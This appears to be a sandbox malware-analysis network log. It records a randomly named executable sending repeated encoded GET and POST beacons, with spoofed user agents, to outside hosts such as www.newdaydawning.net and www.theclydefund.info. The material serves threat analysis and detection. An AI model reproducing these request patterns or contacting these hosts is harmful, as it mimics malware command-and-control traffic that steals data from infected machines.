6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49909	52.20.84.62	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:04.984743118 CEST	466	OUT	GET /s9un/?78pd9P=yV7TdkxfDhjd90B1GyEUMHiPAWmOEZgV0zBeo1/164guPJfW3iKC9HyL21G52/AKQq5uaAr+ytnoQTz6UIOzeOvcyJ/QyueRyMTK+ZYHHAs6w8LsvJEEG/I=&Q0bDs=Qd64jJtXfz5txpyp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.luxe.guru Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Oct 4, 2024 15:18:05.537215948 CEST	357	IN	HTTP/1.1 307 Temporary Redirect Server: openresty Date: Fri, 04 Oct 2024 13:18:05 GMT Content-Type: text/html Content-Length: 168 Connection: close Location: http://www.luxe.guru/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49944	44.213.25.70	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:10.609692097 CEST	741	OUT	POST /paa2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.newdaydawning.net Content-Type: application/x-www-form-urlencoded Content-Length: 203 Connection: close Cache-Control: no-cache Origin: http://www.newdaydawning.net Referer: http://www.newdaydawning.net/paa2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 71 35 4e 59 71 2b 43 54 4a 6b 41 52 70 78 48 4f 51 71 58 34 48 62 77 41 32 33 6d 47 49 4f 54 4e 41 73 4a 38 38 74 72 72 36 58 47 6c 51 35 7a 33 4c 63 6a 36 7a 75 7a 71 64 45 2f 42 44 75 72 68 41 78 68 69 4f 38 34 5a 71 2f 2f 68 77 36 34 51 38 68 61 43 64 2b 34 44 57 33 41 74 43 66 4c 4f 64 35 7a 4a 44 68 63 48 77 71 4d 51 6c 37 31 35 35 39 45 2b 34 46 34 6f 33 31 4d 54 70 68 30 5a 41 59 4f 79 63 2f 44 79 2b 64 41 6c 4c 43 56 57 30 2b 6f 4e 64 6b 76 4f 48 75 2b 38 53 45 66 4f 51 71 5a 34 4d 70 70 45 5a 57 46 67 49 4d 65 52 68 47 33 78 56 49 35 51 61 4a 51 7a 76 73 4c 52 78 51 3d 3d Data Ascii: 78pd9P=q5NYq+CTJkARpxHOQqX4HbwA23mGIOTNAsJ88trr6XGlQ5z3Lcj6zuzqdE/BDurhAxhiO84Zq//hw64Q8haCd+4DW3AtCfLOd5zJDhcHwqMQl71559E+4F4o31MTph0ZAYOyc/Dy+dAlLCVW0+oNdkvOHu+8SEfOQqZ4MppEZWFgIMeRhG3xVI5QaJQzvsLRxQ==
Oct 4, 2024 15:18:12.035517931 CEST	495	IN	HTTP/1.1 404 Not Found Date: Fri, 04 Oct 2024 13:18:10 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://newdaydawning.net/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 0d 0a 32 64 0d 0a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 0d 0a 35 31 0d 0a 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 0d 0a Data Ascii: 16<!doctype html><html 2dlang="en-US" prefix="og: https://ogp.me/ns#" 51><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta charset="
Oct 4, 2024 15:18:12.036448956 CEST	1236	IN	Data Raw: 61 31 65 0d 0a 55 54 46 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 Data Ascii: a1eUTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''window.lightspeedOptimizeStylesheet = function () {const currentSt
Oct 4, 2024 15:18:12.036468983 CEST	1236	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 0a 09 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 2b 3d 20 63 75 72 72 65 6e 74 53 74 79 Data Ascii: setAttribute( 'data-ls-optimized', '1' )window.flatStyles += currentStylesheet.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.s
Oct 4, 2024 15:18:12.036478996 CEST	125	IN	Data Raw: 65 6d 65 6e 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 21 3d 3d 20 27 48 45 41 44 27 20 29 20 7b 0a 09 09 09 09 09 09 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 20 73 74 79 6c 65 53 68 65 65 74 45 Data Ascii: ement.parentElement.tagName !== 'HEAD' ) {document.head.append( styleSheetElement )}}}</script>
Oct 4, 2024 15:18:12.083456039 CEST	1236	IN	Data Raw: 31 66 34 30 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 74 63 62 2d 73 74 79 6c 65 2d 62 61 73 65 2d 74 68 72 69 76 65 5f 74 65 6d 70 6c 61 74 65 2d 32 31 39 22 20 20 6f 6e 4c 6f 61 64 3d 22 74 79 70 65 Data Ascii: 1f40<style type="text/css" id="tcb-style-base-thrive_template-219" onLoad="typeof window.lightspeedOptimizeStylesheet === 'function' && window.lightspeedOptimizeStylesheet()" class="tcb-lightspeed-style">.thrv_widget_menu{position:relative;
Oct 4, 2024 15:18:12.083481073 CEST	1236	IN	Data Raw: 2d 69 74 65 6d 2d 64 72 6f 70 64 6f 77 6e 2d 74 72 69 67 67 65 72 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 3b 7d 2e 74 76 65 2d 6d 2d 74 72 69 67 67 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 2d 77 Data Ascii: -item-dropdown-trigger:not(:empty){margin-left:8px;}.tve-m-trigger{display:none;-webkit-tap-highlight-color:transparent;}.tve-m-trigger:focus,.tve-m-trigger:active{outline:none;}.tve-m-trigger .thrv_icon{font-size:33px;width:33px;height:33px;m
Oct 4, 2024 15:18:12.083492994 CEST	1236	IN	Data Raw: 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 20 75 6c 2e 74 76 65 5f 77 5f 6d 65 6e 75 20 6c 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 Data Ascii: apper[class="tve-custom-menu-switch-icon-"] ul.tve_w_menu li{background-color:inherit;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"] ul.tve_w_menu ul{display:none;position:relative;width:100%;left:0px;top:0px;}.thrv_wi
Oct 4, 2024 15:18:12.083503962 CEST	1236	IN	Data Raw: 32 35 35 29 3b 7d 2e 74 68 72 76 5f 77 69 64 67 65 74 5f 6d 65 6e 75 2e 74 68 72 76 5f 77 72 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 5b 63 6c 61 73 73 2a Data Ascii: 255);}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"][class="light-tmp"] ul.tve_w_menu .sub-menu{box-shadow:none;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"][class="light-tmp"] ul.tve_w_menu li
Oct 4, 2024 15:18:12.083515882 CEST	1236	IN	Data Raw: 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 64 72 6f 70 64 6f 77 6e 20 2e 74 76 65 2d 6d 2d 74 72 69 67 67 65 72 7b 70 6f Data Ascii: apper[class="tve-custom-menu-switch-icon-"].tve-mobile-dropdown .tve-m-trigger{position:relative;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-dropdown .tve-m-trigger .thrv_icon{display:block;transition:opa
Oct 4, 2024 15:18:12.083545923 CEST	1236	IN	Data Raw: 65 74 5f 6d 65 6e 75 2e 74 68 72 76 5f 77 72 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 73 69 64 65 2d 72 69 67 68 74 20 Data Ascii: et_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-side-right ul.tve_w_menu::-webkit-scrollbar,.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-side-left ul.tve_w_menu::-webkit-scrollbar,.thr
Oct 4, 2024 15:18:12.083559036 CEST	1236	IN	Data Raw: 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 70 61 64 64 69 6e 67 2d 62 6f 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 Data Ascii: id rgba(0,0,0,0);background-clip:padding-box;border-radius:7px;background-color:rgba(0,0,0,0.15);box-shadow:rgba(0,0,0,0.05) -1px -1px 0px inset,rgba(0,0,0,0.05) 1px 1px 0px inset;}.thrv_widget_menu.thrv_wrapper[class*="tve-custom-menu-switch-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49960	44.213.25.70	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:13.161134005 CEST	761	OUT	POST /paa2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.newdaydawning.net Content-Type: application/x-www-form-urlencoded Content-Length: 223 Connection: close Cache-Control: no-cache Origin: http://www.newdaydawning.net Referer: http://www.newdaydawning.net/paa2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 71 35 4e 59 71 2b 43 54 4a 6b 41 52 6f 53 50 4f 54 4a 2f 34 47 37 77 44 7a 33 6d 47 66 65 54 4a 41 73 46 38 38 73 76 37 37 6c 69 6c 51 59 76 33 4b 59 2f 36 36 2b 7a 71 46 55 2b 4c 4d 4f 72 51 41 77 63 58 4f 2b 73 5a 71 2f 72 68 77 2f 63 51 39 53 79 42 62 2b 34 64 61 58 41 72 66 50 4c 4f 64 35 7a 4a 44 68 67 39 77 71 30 51 6c 50 78 35 72 4d 45 2f 32 6c 34 76 6a 6c 4d 54 74 68 30 64 41 59 4f 62 63 2b 66 55 2b 62 45 6c 4c 47 52 57 30 4b 38 4b 45 55 76 4d 61 2b 2b 6a 64 33 4f 66 59 4c 51 50 42 4c 6c 6d 61 6c 73 46 4e 4b 50 4c 78 6c 2b 6d 57 62 78 53 4f 76 78 44 6d 64 75 59 71 58 38 31 56 75 2b 46 46 69 72 4e 62 66 55 41 53 4d 39 41 59 61 59 3d Data Ascii: 78pd9P=q5NYq+CTJkARoSPOTJ/4G7wDz3mGfeTJAsF88sv77lilQYv3KY/66+zqFU+LMOrQAwcXO+sZq/rhw/cQ9SyBb+4daXArfPLOd5zJDhg9wq0QlPx5rME/2l4vjlMTth0dAYObc+fU+bElLGRW0K8KEUvMa++jd3OfYLQPBLlmalsFNKPLxl+mWbxSOvxDmduYqX81Vu+FFirNbfUASM9AYaY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49976	44.213.25.70	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:15.703833103 CEST	1774	OUT	POST /paa2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.newdaydawning.net Content-Type: application/x-www-form-urlencoded Content-Length: 1235 Connection: close Cache-Control: no-cache Origin: http://www.newdaydawning.net Referer: http://www.newdaydawning.net/paa2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 71 35 4e 59 71 2b 43 54 4a 6b 41 52 6f 53 50 4f 54 4a 2f 34 47 37 77 44 7a 33 6d 47 66 65 54 4a 41 73 46 38 38 73 76 37 37 6c 71 6c 58 71 6e 33 4c 35 2f 36 67 2b 7a 71 4d 30 2b 4b 4d 4f 72 33 41 78 31 66 4f 2b 67 4a 71 39 54 68 32 63 6b 51 36 6a 79 42 49 65 34 64 48 48 41 71 43 66 4c 66 64 35 6a 33 44 67 63 39 77 71 30 51 6c 4a 64 35 37 4e 45 2f 30 6c 34 6f 33 31 4d 68 70 68 30 78 41 65 6d 71 63 2b 4c 62 2b 6f 4d 6c 49 6d 42 57 6b 70 55 4b 4e 55 76 53 5a 2b 2f 32 64 33 44 48 59 4c 63 35 42 4b 52 41 61 6d 38 46 4d 4e 79 45 68 52 4f 79 4d 4b 39 6e 66 65 78 6c 38 66 71 72 6d 56 4d 70 65 37 75 6d 46 6c 58 37 51 66 73 45 4b 35 52 54 4b 73 2f 57 4a 64 65 79 73 48 66 79 62 52 76 44 51 6c 61 47 36 59 66 6d 49 2f 49 76 67 45 2b 49 61 4d 50 46 4f 45 55 56 42 72 6f 30 56 39 55 6b 6a 55 4e 61 45 6a 7a 57 50 4b 6f 38 4d 46 48 76 78 30 6d 65 6f 59 30 32 6b 54 6d 72 64 70 6f 35 72 4d 6a 62 79 6e 4c 4c 38 73 38 6e 5a 6a 69 36 6f 69 72 58 79 6c 72 59 41 59 34 59 7a 58 72 36 39 76 6b 52 4d 33 44 [TRUNCATED] Data Ascii: 78pd9P=q5NYq+CTJkARoSPOTJ/4G7wDz3mGfeTJAsF88sv77lqlXqn3L5/6g+zqM0+KMOr3Ax1fO+gJq9Th2ckQ6jyBIe4dHHAqCfLfd5j3Dgc9wq0QlJd57NE/0l4o31Mhph0xAemqc+Lb+oMlImBWkpUKNUvSZ+/2d3DHYLc5BKRAam8FMNyEhROyMK9nfexl8fqrmVMpe7umFlX7QfsEK5RTKs/WJdeysHfybRvDQlaG6YfmI/IvgE+IaMPFOEUVBro0V9UkjUNaEjzWPKo8MFHvx0meoY02kTmrdpo5rMjbynLL8s8nZji6oirXylrYAY4YzXr69vkRM3DEDHVwzXXmLisfN1voQazwqzPLDEx9K0B+TTQ9wuQn4hsFQCMSW3tRRHElm3ypbbgkjWTG2iCzbAwkdWSrlX3ASTgCcFKm/dhkHXIX4ZO7FJLUJuQYppaPtl6sZ0uMYvL3eKUhtAIla8htCYXcuEGMTTPIRUrDBZIQex1BUzCPErH5pCBVeAcXf24QSMQ8Cy1XdNFsC51HjOmkV0/rDd+JOsgUQebG/Hh+58XhFbCRbn0YB8i7CeoPumiv0bBAyt0zgxGXExPM9dZzNDz9fd7sO4TMrOzqa+ptGGicwfCDmVXQF5APXILDy8KlktKhp/l3ED+slDf+xrBhlJr7xxsYVe+Bj1IVabNbnZhOplaYvAJc/hFflSQ6Qh/i/vX8xzIkLCnqoq4KYBRkEAEiA9o1tu4wZXLXbX5tkv5GBKMD9KaylVtfW3eduwwn0Z3yf6i4oHZXeexSjKNKhCWBjpvZhNCb2XA94t0EMLKWOvfEGl0+YPBbZt90Yy8Yy50sG/dSMbCByUgdP1yinwaZa3Ml4Ge3KN4rQx5yyPGQdePjXRElQ9evMe0utoq4GFuYuouaRH7PtETQZ4nUJ1WpgGGRPVlwsUYm2HWGBVNZ6eaD1pqAaupXd7y0rpD8dUCBp+peTqmsyUv0iwCNd9qHN7QSFymryU1SL2auh [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49987	44.213.25.70	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:18.246781111 CEST	474	OUT	GET /paa2/?78pd9P=n7l4pK2vJUox4BGQd6S9BuAb4HmjCvTxbp1eoNPi6Q2eN5D+KpvM2vqKME65A47EEAJHO8M7tvWjwt8QkxqAI+wiezBUVuOrZ7jYHQQX8PgVhqgS3/1s334=&Q0bDs=Qd64jJtXfz5txpyp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.newdaydawning.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Oct 4, 2024 15:18:20.232398987 CEST	486	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 13:18:18 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://newdaydawning.net/paa2/?78pd9P=n7l4pK2vJUox4BGQd6S9BuAb4HmjCvTxbp1eoNPi6Q2eN5D+KpvM2vqKME65A47EEAJHO8M7tvWjwt8QkxqAI+wiezBUVuOrZ7jYHQQX8PgVhqgS3/1s334=&Q0bDs=Qd64jJtXfz5txpyp Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Oct 4, 2024 15:18:20.257028103 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49988	3.33.130.190	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:25.305995941 CEST	741	OUT	POST /pt4m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.theclydefund.info Content-Type: application/x-www-form-urlencoded Content-Length: 203 Connection: close Cache-Control: no-cache Origin: http://www.theclydefund.info Referer: http://www.theclydefund.info/pt4m/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 74 76 41 61 77 77 38 37 4c 6d 39 6a 4a 66 50 33 6f 4b 4f 6e 68 78 78 4c 78 54 56 64 4c 6c 70 73 4c 37 49 52 71 6f 55 4c 6f 36 4f 6d 6a 36 67 35 6c 2f 52 58 63 4d 71 69 44 49 47 46 38 36 30 6e 62 4d 50 41 47 69 63 4d 79 79 32 6c 74 42 50 4a 69 37 6e 68 63 4b 77 2f 72 31 6e 37 71 38 54 49 4a 70 69 41 6a 33 46 66 4d 63 58 32 37 4e 49 6b 6d 4a 5a 6c 41 37 4b 58 64 71 42 4e 39 52 6b 4b 41 68 4c 61 79 56 35 61 39 74 68 58 6e 33 6a 59 5a 7a 58 58 53 49 39 67 44 54 46 2b 64 51 2b 50 53 61 71 78 33 42 72 35 79 66 42 37 4c 2f 61 71 33 55 69 66 32 52 6b 6f 69 51 31 4e 59 2b 6c 4f 61 77 3d 3d Data Ascii: 78pd9P=tvAaww87Lm9jJfP3oKOnhxxLxTVdLlpsL7IRqoULo6Omj6g5l/RXcMqiDIGF860nbMPAGicMyy2ltBPJi7nhcKw/r1n7q8TIJpiAj3FfMcX27NIkmJZlA7KXdqBN9RkKAhLayV5a9thXn3jYZzXXSI9gDTF+dQ+PSaqx3Br5yfB7L/aq3Uif2RkoiQ1NY+lOaw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49989	3.33.130.190	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:27.849658012 CEST	761	OUT	POST /pt4m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.theclydefund.info Content-Type: application/x-www-form-urlencoded Content-Length: 223 Connection: close Cache-Control: no-cache Origin: http://www.theclydefund.info Referer: http://www.theclydefund.info/pt4m/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 74 76 41 61 77 77 38 37 4c 6d 39 6a 49 37 7a 33 71 70 57 6e 32 42 78 4b 2b 7a 56 64 46 46 70 6f 4c 37 45 52 71 6f 38 62 6f 4d 6d 6d 6a 62 51 35 6b 39 35 58 66 4d 71 69 62 34 47 45 2f 4b 30 53 62 4e 7a 49 47 6e 6b 4d 79 79 4b 6c 74 42 2f 4a 69 4d 4c 69 63 61 77 39 6e 56 6e 6c 75 38 54 49 4a 70 69 41 6a 7a 70 31 4d 63 2f 32 34 39 34 6b 6d 73 31 6b 49 62 4b 57 61 71 42 4e 35 52 6b 4f 41 68 4c 6f 79 55 55 53 39 76 5a 58 6e 32 54 59 5a 6d 37 55 42 6f 39 36 48 54 45 2f 63 53 6a 74 65 37 58 6c 34 42 7a 4a 30 66 78 41 4f 35 4c 77 6e 33 72 49 31 43 73 71 32 32 55 39 52 50 41 48 42 79 61 6c 32 76 7a 57 37 59 6a 31 77 39 4a 30 5a 6c 44 55 32 54 38 3d Data Ascii: 78pd9P=tvAaww87Lm9jI7z3qpWn2BxK+zVdFFpoL7ERqo8boMmmjbQ5k95XfMqib4GE/K0SbNzIGnkMyyKltB/JiMLicaw9nVnlu8TIJpiAjzp1Mc/2494kms1kIbKWaqBN5RkOAhLoyUUS9vZXn2TYZm7UBo96HTE/cSjte7Xl4BzJ0fxAO5Lwn3rI1Csq22U9RPAHByal2vzW7Yj1w9J0ZlDU2T8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49990	3.33.130.190	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:18:30.498049021 CEST	1774	OUT	POST /pt4m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.theclydefund.info Content-Type: application/x-www-form-urlencoded Content-Length: 1235 Connection: close Cache-Control: no-cache Origin: http://www.theclydefund.info Referer: http://www.theclydefund.info/pt4m/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 74 76 41 61 77 77 38 37 4c 6d 39 6a 49 37 7a 33 71 70 57 6e 32 42 78 4b 2b 7a 56 64 46 46 70 6f 4c 37 45 52 71 6f 38 62 6f 4d 75 6d 67 74 45 35 6c 61 6c 58 65 4d 71 69 46 49 47 4a 2f 4b 30 4c 62 4d 62 4d 47 6e 67 6d 79 33 47 6c 75 67 66 4a 6b 2b 7a 69 57 61 77 39 34 6c 6e 34 71 38 54 64 4a 74 4f 2b 6a 33 4a 31 4d 63 2f 32 34 2b 67 6b 32 70 5a 6b 46 37 4b 58 64 71 42 52 39 52 6b 71 41 69 36 64 79 55 68 77 2b 65 35 58 6d 57 44 59 62 55 6a 55 62 6f 39 6b 41 54 46 73 63 53 76 62 65 34 7a 70 34 41 33 7a 30 64 52 41 4f 49 71 36 2b 31 66 31 73 77 38 57 73 32 38 4d 57 2b 73 6e 59 42 75 76 6e 4e 37 51 6b 2f 37 61 76 66 51 34 47 48 50 6f 6b 45 66 2f 42 6c 65 68 38 71 68 2f 30 65 6b 67 55 55 67 34 67 34 4b 64 4a 4f 73 31 7a 34 46 34 54 48 6d 78 41 65 49 53 51 2f 6a 2f 67 71 39 43 5a 32 68 31 71 6f 33 56 59 39 6c 58 4d 78 54 34 2f 38 6b 75 76 48 5a 33 6e 79 79 2b 6a 78 31 4f 5a 69 41 65 2b 46 77 37 61 65 59 7a 56 41 72 45 34 35 66 4a 6f 47 2f 58 48 33 66 32 4e 70 42 67 59 32 61 73 2b 6f 30 [TRUNCATED] Data Ascii: 